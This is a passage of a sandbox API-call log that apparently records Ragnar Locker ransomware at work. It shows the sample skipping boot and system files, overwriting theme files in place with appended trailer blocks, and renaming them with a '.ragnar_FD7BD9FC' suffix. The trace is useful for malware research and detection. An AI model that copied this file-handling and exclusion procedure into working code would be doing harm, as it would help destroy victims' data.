(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.069] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4100) returned 1 [0076.069] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xffb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.069] GetProcessHeap () returned 0x580000 [0076.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.069] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.162] VirtualAlloc (lpAddress=0x0, dwSize=0x1004, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.165] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.171] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.173] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1004, lpOverlapped=0x0) returned 1 [0076.186] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.189] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1004, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1004, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1004, lpOverlapped=0x0) returned 1 [0076.199] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1004, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.207] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.211] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.217] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.222] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.226] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.229] GetProcessHeap () returned 0x580000 [0076.230] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.234] CloseHandle (hObject=0x100) returned 1 [0076.241] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" [0076.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.246] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f94cec0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.310] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.314] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.319] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.322] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0076.325] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.328] lstrcpyW (in: lpString1=0x1eab70, lpString2="RMNSQUE.ELM" | out: lpString1="RMNSQUE.ELM") returned="RMNSQUE.ELM" [0076.339] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned=".ELM" [0076.340] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.341] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="autorun.inf") returned 1 [0076.342] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="boot.ini") returned 1 [0076.344] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="bootfont.bin") returned 1 [0076.344] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="bootsect.bak") returned 1 [0076.347] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="bootmgr") returned 1 [0076.352] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="bootmgr.efi") returned 1 [0076.354] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="bootmgfw.efi") returned 1 [0076.355] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="desktop.ini") returned 1 [0076.356] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="iconcache.db") returned 1 [0076.357] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="ntldr") returned 1 [0076.361] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="ntuser.dat") returned 1 [0076.379] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="ntuser.dat.log") returned 1 [0076.381] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="ntuser.ini") returned 1 [0076.383] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="thumbs.db") returned -1 [0076.383] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.384] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.384] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.385] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.391] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.392] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.393] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0076.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.396] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=73271) returned 1 [0076.396] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x11e2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.396] GetProcessHeap () returned 0x580000 [0076.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.396] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.452] VirtualAlloc (lpAddress=0x0, dwSize=0x11e37, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.452] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.452] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.452] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x11e37, lpOverlapped=0x0) returned 1 [0076.454] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.455] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11e37, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.455] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11e37, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x11e37, lpOverlapped=0x0) returned 1 [0076.455] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11e37, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.455] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.456] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x11e37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.456] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.456] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.456] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.456] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.456] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.456] GetProcessHeap () returned 0x580000 [0076.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.456] CloseHandle (hObject=0x100) returned 1 [0076.457] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" [0076.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.ragnar_FD7BD9FC" [0076.457] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.457] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0076.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.457] lstrcpyW (in: lpString1=0x1eab70, lpString2="RMNSQUE.INF" | out: lpString1="RMNSQUE.INF") returned="RMNSQUE.INF" [0076.457] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned=".INF" [0076.457] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.457] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="autorun.inf") returned 1 [0076.457] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="boot.ini") returned 1 [0076.457] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="bootfont.bin") returned 1 [0076.457] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="bootsect.bak") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="bootmgr") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="bootmgr.efi") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="bootmgfw.efi") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="desktop.ini") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="iconcache.db") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="ntldr") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="ntuser.dat") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="ntuser.dat.log") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="ntuser.ini") returned 1 [0076.458] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="thumbs.db") returned -1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.458] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0076.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.460] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=613) returned 1 [0076.460] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.460] GetProcessHeap () returned 0x580000 [0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.460] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.461] VirtualAlloc (lpAddress=0x0, dwSize=0x265, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.461] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.461] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.461] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x265, lpOverlapped=0x0) returned 1 [0076.461] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.461] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x265, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.461] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x265, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x265, lpOverlapped=0x0) returned 1 [0076.462] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x265, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.462] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.462] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x265, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.462] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.462] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.462] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.462] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.462] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.462] GetProcessHeap () returned 0x580000 [0076.462] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.462] CloseHandle (hObject=0x100) returned 1 [0076.462] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" [0076.462] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.ragnar_FD7BD9FC" [0076.462] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.463] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.463] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned=".PNG" [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", 